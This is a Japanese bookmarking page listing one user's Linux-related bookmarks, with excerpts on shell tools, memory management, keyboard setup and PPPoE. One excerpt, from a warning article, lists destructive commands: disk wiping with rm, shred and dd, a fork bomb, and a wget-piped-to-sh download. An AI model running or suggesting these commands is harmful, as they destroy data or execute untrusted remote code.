タグ

linuxに関するku-kai27のブックマーク (59)

  • UNIX(Linux) 入門 [AFFRIT Portal]

    * kernel: OSの基機能を実装したソフトウェア。 * POSIX(Portable Operations System Interface:ポジックス): は、 UNIX など各種 OS に 共通のアプリケーションインターフェースを規定し、 移植性の高いアプリケーション開発を容易にする目的で IEEE が策定した規格。 * GPL(GNU General Public License): GPLは、概ねプログラムの実行、改変、再頒布などを許諾するライセンスで、 派生的プログラム(著作物)も GPL が適用される。 プログラム改変を許諾するためにソースコードの公開が前提となる。

  • Ubuntu(Linux)のキーボード設定を日本語に変えて「半角/全角」でひらがなに「無変換」で英数字に変える方法 | 謎の技術研究部

    やりたいこと これはWindowsでも同様だが日本語入力とアルファベット直接入力を切り替える時に次の問題がある。 今、日本語入力オンなの?オフなの どうだろうか。 「日語がオンだと思って入力しはじめたら英語で書いてしまった」 「英語モードだと思ってGoogleと打ったらごおgぇになった」 Ahhhhhhhhhhhhhhhhhhh! という経験はないだろうか? なんで皆気にしてないの デフォルトでは「半角/全角」が天井照明のスイッチとおなじ「On/Off」になっているので 今「日語なのか、英語なのか」は試しに文字を入力するかアイコンを目視しないとわからない。 こんな無駄なUIあるだろうか? 私は真っ先に次に変更する。 半角全角を押すと必ず「日本語入力」になる。何度押してもOn/Offではなく必ず日本語入力になる。連打しても必ず日本語入力。 同様に「無変換」を押すと必ず「英語入力」になる(

    Ubuntu(Linux)のキーボード設定を日本語に変えて「半角/全角」でひらがなに「無変換」で英数字に変える方法 | 謎の技術研究部
    ku-kai27
    ku-kai27 2023/06/29
    抜けられるきっかけ、ありがたやありがたや。
  • 実行してはいけない危険なLinuxコマンド10選 | マイナビニュース

    fossBytesに8月20日(米国時間)に掲載された記事「10 Most Dangerous Linux Commands You Should Never Run」が、実行すると修復することが不可能な損害を与えかねないLinuxコマンド、または修復できてもひどいことになるLinuxkコマンド10選を伝えた。 紹介されているコマンドは次のとおり。 rm -Rf / shred /dev/sda dd if=/dev/random of=/dev/sda mkfs.ext4 /dev/sda1 mv / /dev/null :(){:|:&};: wget http://unknownsource.com/possiblydangerous.sh -O- | sh gunzip untrusted.gz command > file.conf ^mistake^correction UNI

    実行してはいけない危険なLinuxコマンド10選 | マイナビニュース
  • コマンドによる「負荷」の原因切り分け

    You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session. Dismiss alert

    コマンドによる「負荷」の原因切り分け
  • lsコマンドで覚えておきたい使い方16個(+4個) | 俺的備忘録 〜なんかいろいろ〜

    Linuxを用いる上で必須とも言えるlsコマンド。 そのコマンドについて、個人的に覚えておきたい使い方についてまとめてみることにした。 内容としては、覚えておきたいオプションと他のコマンドとの組み合わせでの使い方、計16個18個だ。(2個増えた) なお、例として使用しているのはUbuntu 14.04LTSを用いている。 1.基の使い方 まずは基的な使い方から。 オプションを使用しないで使用すると、以下のように出力される。 test@test-vm-ubuntu:~/test$ ls aaa abc abcd abd archey-0.2.8.deb screenfetch-dev test1 test@test-vm-ubuntu:~/test$ リストとして表示させたい場合は、「-l」オプションを付加する。 test@test-vm-ubuntu:~/test$ ls -l 合計

  • Linux のオーバーコミットについて調べてみた

    Linux のオーバーコミットについて調べてみた Linux のオーバーコミットのはなし(これを書いたのは Linux 2.6.38 のとき) Linux カーネルは実メモリ以上にメモリをプロセスに割り当てることができる この仕組みをオーバーコミット (over-commit) と呼ぶ オーバーコミットでは,とりあえずメモリを malloc させて仮のアドレスを返しておき, 実際に使われる段になってはじめて実メモリを確保する. 実験ただ malloc し続けるだけのプログラムを作って実験してみる. このプログラムをメモリ 1 GB + スワップ 1 GB のホストで実行してみると, $ free -t total used free shared buffers cached Mem: 1022404 82992 939412 0 4172 12280 -/+ buffers/cache:

    Linux のオーバーコミットについて調べてみた
  • どうしてメモリはスワップするのか!?

    こんにちは。斎藤です。 最近、新しいスキー板が欲しいなと思っています。現在使っているOGASAKAの板は5年目に入り、メーカーからこれ以上はチューンナップ(メンテナンス)はできないよ、と言われてしまいました。もし、次に買うなら、スノーボーダーの人と一緒にパウダーに飛び込みやすいセミファットタイプが良いのかなと考えています。皆さんのオススメ、ぜひ教えてください。 さて、今日はLinux Kernel上でのメモリ管理、特にページ回収(Page Reclaim)とスワップに絞り、「スワップの理由」「ページを回収する仕組み」そして「スワップの様子を観察する」の3点に分けてお話しします。「スワップするのが気持ち悪い」と考えている方は少なくないと思いますし、私もそう考えていた時期がありました。しかし、それは当に悪い事なのか、今回掘り下げて行きます。 ※主な対象Kernelは2.6.32(Red Ha

    どうしてメモリはスワップするのか!?
  • Unixに関するいろいろな略称とその意味 - UNIX的なアレ

    いろいろな略称が多い! コマンドやディレクトリ名など、UnixなOSはとにかくいろいろな略称が多いです。特にさわりはじめの人はこの略称がいみわからずに心が折れてしまうことは多いと思います。実際にSchooでUnixの授業をやったときもこの略称を説明しました。 というわけでまとめてみました。なぜ略称が多いのかが気になる人はこちらを読んでみてください。 UNIXという考え方―その設計思想と哲学 作者:Mike Gancarzオーム社Amazon ※ちなみに、Linuxにもほぼ通用すると思いますがMacをベースに書いているのでUnixという表記にしています。 ディレクトリ名 名称 来の意味 備考 usr User Services and Routines これは若干怪しめです。Userという説も var Variable ログやメールの情報など、変わりうる情報を扱うもの tmp Tempor

    Unixに関するいろいろな略称とその意味 - UNIX的なアレ
  • Linuxで2つのファイルの共通行を出力する - 元RX-7乗りの適当な日々

    機会があったので、調べてみました。 2ファイルの差分はdiffコマンドで取るけど、その逆の共通している部分はどうやって取得するのか。エレガントなやり方はやっぱりgrepコマンドを使うのかしら? 前提 $ diff -c5 {a,b}.txt *** a.txt 2013-08-28 18:54:49.293055071 +0900 --- b.txt 2013-08-28 18:53:58.517693404 +0900 *************** *** 1,6 **** 1 - 2 3 5 5 6 --- 1,6 ---- 1 3 + 4 5 5 6こういう2つのファイルがあったとして・・・ grepで $ grep -x -f {a,b}.txt 1 3 5 5 6grepコマンドの"-x"オプションを使うと、こんな感じで、2ファイルの共通部分が出力される。 -x, --line

    Linuxで2つのファイルの共通行を出力する - 元RX-7乗りの適当な日々
  • 私が他人のシェルスクリプトから学んだこと | Yakst

    私はシェルスクリプトの大ファンで、他人のスクリプトから面白い方法を学ぶのが大好きだ。最近、SSHサーバの2要素認証を簡単にするためのauthy-sshスクリプトに出会った。このスクリプト群を見まわしていて、みんなと共有したいたくさんのクールなことを見つけた。 出力に色付けする 出力文字列を、成功した時は緑に、失敗した時は赤に、警告は黄色に色づけしたいと思うことはたくさんあるだろう。 NORMAL=$(tput sgr0) GREEN=$(tput setaf 2; tput bold) YELLOW=$(tput setaf 3) RED=$(tput setaf 1) function red() { echo -e "$RED$*$NORMAL" } function green() { echo -e "$GREEN$*$NORMAL" } function yellow() { e

    私が他人のシェルスクリプトから学んだこと | Yakst
  • Linux上でオレオレifconfigを作るには - syuu1228's blog

    自分の書いているプログラムからNICの設定を直接弄りたくなった事はないだろうか? プログラム内からifconfigコマンドに引数をつけて実行すれば簡単に実現できるが、それはあんまり格好良くないし、情報を取り出そうとするとifconfigコマンドの出力文字列をパースしたりしなければならなくなって格好悪い。 よりプログラムの書き方として正しいのは、ifconfigコマンドが叩いているAPIを自力で叩いてみる事だろう。 というわけで、ここではifconfigコマンドがNICを操作するために叩いているAPIを自力で叩いてNICの設定を変更してみようと思う。 まずは最も単純なプログラムとして、NICのリンクステータスをUP/DOWNするというのを試してみよう。 ソケットへのioctlによるNICリンクステータス変更 ifconfigコマンドで行われているNICリンクステータスの変更処理を最小限のコー

    Linux上でオレオレifconfigを作るには - syuu1228's blog
  • なぜLinuxを生み出せたのか? それはぼくが若くてバカだったからだよ!─LinuxCon Japan 2013で2年ぶりに来日したLinus Torvalds名言集 | gihyo.jp

    なぜLinuxを生み出せたのか? それはぼくが若くてバカだったからだよ!─LinuxCon Japan 2013で2年ぶりに来日したLinus Torvalds名言集 2年ぶりに日の地を踏んだLinus Torvalds氏 「Linusと私の娘はよく似ている。2人とも、私にとって非常に大切で愛らしい(adorable)存在で、まったくもって天才としか言いようがない。そして2人とも私の言うことをいっさい聞かない⁠」⁠─5月30日、Linux Foundationのエグゼクティブディレクターとして日LinuxユーザにもおなじみのJim Zemlin氏は、東京・椿山荘で開催された「LinuxCon Japan 2013」2日目キーノートにおいてLinus Torvalds氏をこのように紹介しました。 Linuxの生みの親であり、誕生から20年以上経った現在もカーネル開発の最高責任者であり続

    なぜLinuxを生み出せたのか? それはぼくが若くてバカだったからだよ!─LinuxCon Japan 2013で2年ぶりに来日したLinus Torvalds名言集 | gihyo.jp
  • メルマガ - いますぐ実践! Linux システム管理

    「いますぐ実践! Linux システム管理」はこちらです。 メルマガの解除、バックナンバーなども、以下からどうぞ。 https://www.usupi.org/sysad/ (まぐまぐ ID:149633) その他、作者に関するページは、概ね以下にございます。 https://www.usupi.org/kuri/ (まぐまぐ ID:126454) http://usupi.seesaa.net/ (栗日記ブログ) https://twitter.com/kuriking/ (twitter) https://facebook.com/kuriking3 (facebook) https://jp.pinterest.com/kuriking/pinterest) https://www.instagram.com/kuri_king_/ (instagram) [バックナンバーのトップへ

  • Linux ファイルシステムにおけるバグ傾向

    Linux には複数のファイルシステムがあります.これらには,仕様としての機能差の他に,品質・安定度に関して大きな差があると考えられています. 今回は,そのあたりを定量的に分析した論文をご紹介. A Study of Linux File System Evolution [キャッシュ] https://www.usenix.org/conference/fast13/study-linux-file-system-evolution 調査の対象は,XFS/Ext4/Btrfs/Ext3/Reiser/JFS の 6 つのファイルシステム.これらについて,Linux 2.6.0 (Dec ’03) から 2.6.39 (May ’11) の間に取り込まれた 5,079 個のパッチを分析しています. パッチの種類 まず,パッチを次の 5 種類に分類しています. Bug バグの修正. Reli

    Linux ファイルシステムにおけるバグ傾向
  • Modern Syntax

    これ見たら「なんでいままでこういうのなかったんだろう」と思いました。 作ったのはサンフランシスコのインタラクティブ・テクノロジー企業Augmental社で、ボクシングのマウスピースみたいな形状で口の中に入れるのですが、舌が当たる部分にセンサーが付いていてそれを使ってマウスカーソルを操作することができます。なのでMousepadではなく「MouthPad^」という名前になっております。 怪我や病気で手足が不自由になった人々がコンピュータを操作する時って、これまでは視線を使ったりしていましたけど、これだともっと正確で直感的ですよね。 Bluetoothを使っているのでPCMacといったコンピューターやスマートフォン、タブレットでも使えるというのが素敵です。 舌は左クリックやクリック&ドラッグに使われ、口をすぼめるジェスチャーで右クリックを実現しているそうです。 まだ開発中のようで値段等は掲載

    ku-kai27
    ku-kai27 2013/01/21
    雑学
  • Linuxでうっかりrm -rfしちゃったけど復活出来たよー\(^o^)/ - y-kawazの日記

    サーバのファイル整理作業をしていたところ…、 間違えてrm -rfしてしまった! ぎゃーバックアップもねー! 長いこと生きてたらこんな経験の1度や2度はありますよね? えぇ、ついさっきやらかしちゃいましたwwオワタwww 速攻「rm 復活」とか「rm 取り消し」とかでググッたねw、したらmcってプログラムのUndelete機能使えばよいって情報が出てくるが、どうやらこれext2じゃないと使えないっぽいぞ…、うちext4だ。 混乱。以下ターミナルのヒストリーより実況。 ## こーいうときはまずあれだ、現場保存! ## まずは今いるパーティションを確認 # df -hT Filesystem Type サイズ 使用 残り 使用% マウント位置 /dev/sdb2 ext4 193G 6.9G 176G 4% / /dev/sdb1 ext3 194M 22M 163M 12% /boot /d

    Linuxでうっかりrm -rfしちゃったけど復活出来たよー\(^o^)/ - y-kawazの日記
    ku-kai27
    ku-kai27 2012/06/22
    ふっかつの呪文
  • UEC - usp engineers' community site - UEC - usp engineers' community

    UEC - UNIXを深く理解し、シェルプログラミングを極めるコミュニティサイト Info インフォメーション イベント情報 / ニュース・プレスリリース ユニケージについて ユニケージ開発手法とは / ユニケージエンジニアとは ユニケージ開発手法 技能検定 / 試験日程 ユニケージ開発手法 教育講座 / 開講日程 ユニケージ開発手法 教育講座レポート 出版物 シェルスクリプトマガジン / 注文 / 取扱書店 / 問合せ USP出版書籍 / 注文 / 取扱書店 / 問合せ Software Design / FreeBSD Expert FreeBSD Weekly Topics / 日経Linux 推薦図書 オススメの定番書 / より上級者を目指す UNIXビギナー向け教 / UNIXの文化を知る AWK/SEDを習得する / 手元に置きたい実用書 古典を楽しむ UECサイトについて

    ku-kai27
    ku-kai27 2012/03/21
    シェルスクリプトに関するサイト?
  • YC’s Notebook ~メモリィのバブル〜

    cucumberで面白いと思ったのは,マッチャーの書き方. a.emty?.should == true を a.should be_empty と書ける.英語の人も,上の例よりは下の例のほうが嬉しいのだろう. RSpec p.166 広告がでるようになったのね. sudo apt-get install libx11-dev libxpm-dev libjpeg-dev libgif-dev libtiff4-dev libgtk2.0-dev libglib2.0-dev libncurses5-dev ./configure --with-x-toolkit=yesあとpython-xlibをインストールしないとibus-modeが使えない。 環境 rst2pdfはrstからpdfを作るツール。マニュアルは下記を参照。 http://lateral.netmanagers.com.

    YC’s Notebook ~メモリィのバブル〜
  • Linux/PPPoE/設定 - discypus

    [編集]機材の接続とパケットの経路 # 今回のADSLモデムは「Ethernetブリッジタイプ」で、PPPoEソフトを使う。 Linuxをルータにする場合、次の2通りの接続方法がある。 今回は当初は動作確認が容易な 1.の方法で接続し、後日 2. の方法に変更した。 ↑ [編集]1. LinuxPCにLANインターフェイスを1つ使う # NIC1枚でのパケット経路 特徴 Linux PCのNIC(LANインターフェイス)が1つで済む。 Linux PCのPPPoEを止めれば、ClientPCにPPPeEソフト(フレッツ接続ツールなど)を入れて繋ぐことができる。 PPPoEのパケットがLAN全体に流れる。帯域をわれないためにはスイッチングハブが必要。 ↑ [編集]2. LinuxPCにLANインターフェイスを2つ使う # NIC2枚でのパケット経路 特徴 Linux PCのNIC(LANイ

    ku-kai27
    ku-kai27 2011/06/12
    poff
  • [linux] PPPoEの接続が切れると復帰しない。poffとponで解決 - 綾小路龍之介の素人思考

    ku-kai27
    ku-kai27 2011/06/12
    poff